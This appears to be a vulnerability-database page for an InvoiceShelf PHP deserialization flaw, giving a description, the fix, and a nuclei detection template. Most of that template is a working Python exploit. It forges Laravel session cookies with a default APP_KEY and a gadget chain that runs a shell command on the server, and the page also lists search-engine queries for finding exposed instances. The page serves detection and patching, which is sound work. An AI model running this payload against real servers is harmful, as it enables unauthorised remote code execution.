HexBrain

Browse / CVEs / CVE-2024-55556

CVE-2024-55556· CWE-502

InvoiceShelf <= 1.3.0 - PHP Deserialization

criticalseverity
9.8CVSS score
43.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.

Impact

Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.

Fix

Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value

How to confirm it

Send: GET /login
Positive when: contains "{{marker}}" or "Illuminate/Database/DatabaseManager.php" AND status 500

Run it with nuclei: nuclei -id CVE-2024-55556 -u <target>

The full check
id: CVE-2024-55556

info:
  name: InvoiceShelf <= 1.3.0 - PHP Deserialization
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
  impact: |
    Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.
  remediation: |
    Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
  reference:
    - https://www.synacktiv.com/en/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known
    - https://github.com/rapid7/metasploit-framework/pull/19950
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55556
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
    epss-score: 0.43906
    epss-percentile: 0.9876
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.title:"InvoiceShelf"'
    fofa-query: 'title="InvoiceShelf"'
  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln

variables:
  marker: "{{randstr}}"
  marker_b64: "{{base64(marker)}}"
  APP_KEY: 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=' # default hardcoded key

flow: |
    code();
    http();

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
        import base64
        import json
        import hashlib
        import hmac
        import os
        import urllib.parse, requests
        from Crypto.Cipher import AES
        import requests,re
        request1=requests.get(os.getenv('RootURL')+'/login')
        cookies=request1.headers['Set-Cookie']
        laravel_session_match = re.search(r"laravel_session=(.*?);", cookies)
        laravel_session_value = laravel_session_match.groups()[0]
        random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies)
        random_cookie_name, random_cookie_value = random_cookie_match.groups()
        valid_app_key=os.getenv('APP_KEY')
        def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode):
            decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8')
            parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000')
            session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}"
            return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode)


        def retrieve_key(key):
            if key.startswith("base64:"):
                return base64.b64decode(key.split(":")[1])
            elif len(key) == 44:
                return base64.b64decode(key)
            else:
                return key.encode('utf-8')


        def laravel_encrypt(value_to_encrypt, key, cipher_mode):
            key = retrieve_key(key)
            iv = os.urandom(16)  # Generate a random 16-byte IV
            encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode)
            tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip()

            # Base64-encode the IV
            b64_iv = base64.b64encode(iv).decode().strip()

            # Prepare data for output
            data = {
                "iv": b64_iv,
                "value": tmp_bytes,
                "mac": generate_mac(key, b64_iv, tmp_bytes),
                "tag": ""  # Assuming empty tag
            }

            # Return the final encrypted value as Base64-encoded JSON
            return base64.b64encode(json.dumps(data).encode()).decode()


        def aes_encrypt(value, iv, key, cipher_mode):
            cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
            pad_length = 16 - (len(value) % 16)
            padded_value = value + bytes([pad_length] * pad_length)
            return cipher.encrypt(padded_value)


        def generate_mac(key, iv, value):
            return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest()

        def generate_laravel_payload(pl, pl_len):
            laravel_payload = (
                f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";'
                f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";'
                f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";'
                f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}'
                f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}'
            )

            # Base64 encode the payload
            b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode()

            return b64_laravel_payload


        def laravel_decrypt(laravel_cipher, key, cipher_mode):
            data = parse_laravel_cipher(laravel_cipher)
            key = retrieve_key(key)

            try:
                return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
            except Exception:
                print("Your key is probably malformed or incorrect.")  # Equivalent to vprint_error
                return None


        def parse_laravel_cipher(laravel_cipher):
            laravel_cipher = urllib.parse.unquote(laravel_cipher)  # Decoding URL-encoded string

            try:
                data = json.loads(base64.b64decode(laravel_cipher).decode())
            except json.JSONDecodeError:
                print("The JSON inside your base64 is malformed.")  # Equivalent to vprint_error
                return None
            except Exception:
                print("Your base64 laravel_cipher value is malformed.")  # Equivalent to vprint_error
                return None

            try:
                data['value'] = base64.b64decode(data['value'])
                data['iv'] = base64.b64decode(data['iv'])
            except Exception:
                print("Error decoding base64 values in the cipher data.")
                return None

            return data


        def aes_decrypt(encrypted_value, iv, key, cipher_mode):
            cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
            decrypted = cipher.decrypt(encrypted_value)

            # Remove PKCS7 padding
            pad_length = decrypted[-1]
            return decrypted[:-pad_length].decode('utf-8', errors='ignore')
        unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC'))


        # Example values (Replace these with real values)
        pl = "echo " + os.getenv('marker_b64') + " | base64 -d"
        pl_len = len(pl)
        cipher_mode = "CBC"  # Assuming CBC mode

        # Generate the Base64 encoded Laravel payload
        b64_laravel_payload=generate_laravel_payload(pl, pl_len)
        # Extract the hash value from unciphered_value
        hash_value = unciphered_value.split('|')[0]

        # Encrypt the Laravel cookie
        laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)

        print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D'))

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{code_response}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"
          - 'Illuminate/Database/DatabaseManager.php' # only matches in Debug mode

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from